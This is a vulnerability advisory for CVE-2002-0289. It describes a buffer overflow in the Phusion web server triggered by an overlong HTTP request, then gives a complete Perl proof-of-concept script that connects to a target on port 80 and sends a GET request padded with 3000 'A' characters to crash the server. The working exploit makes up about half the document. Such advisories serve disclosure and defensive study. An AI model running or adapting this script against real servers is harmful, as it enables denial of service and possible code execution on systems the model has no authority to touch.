CVE-2002-0289

A remote attacker can cause a denial of service and potentially execute arbitrary code by sending an excessively long HTTP request, approximately 3000+ bytes, to the Phusion web server [ref_id=1]. The provided proof-of-concept script demonstrates this by sending a long string of 'A' characters as part of a GET request for a CGI script [ref_id=1]. This triggers a buffer overflow in the server's handling of the request.

The vulnerability lies within the Phusion web server's handling of incoming HTTP requests. Specifically, the server does not properly validate the length of the request, leading to a buffer overflow when an excessively long request is received [ref_id=1].

The advisory does not provide details on a specific patch or fix. It notes that the issue is due to a buffer overflow condition. Remediation guidance typically involves updating the affected software to a version that addresses the buffer overflow vulnerability.

#!/usr/bin/perl # # Simple script to send a long 'A^s' command to the server, # resulting in the server crashing. # # Phusion Webserver v1.0 proof-of-concept exploit. # By Alex Hernandez <al3xhernandez@ureach.com> (C)2002. # # Thanks all the people from Spain and Argentina. # Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, # G.Maggiotti & H.Oliveira. # # # Usage: perl -x Phusion_DoS.pl -s <server> # # Example: # # perl -x Phusion_DoS.pl -s 10.0.0.1 # # Crash was successful ! #

use Getopt::Std; use IO::Socket;

print("\nPhusion Webserver v1.0 DoS exploit (c)2002.\n"); print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

getopts('s:', \%args); if(!defined($args{s})){&usage;}

($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);

$def = "A"; $num = "3000"; $data .= $def x $num; $serv = $args{s}; $port = 80; $buf = "GET /cgi-bin/$data /HTTP/1.0\r\n\r\n";

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n"); $paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n"); $proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!"); connect(S, $paddr) ||die ("Error: $!"); select(S); $| = 1; select(STDOUT); print S "$buf";

print("\nCrash was successful !\n\n");

sub usage { die("\n\nUsage: perl -x $0 -s <server>\n\n"); }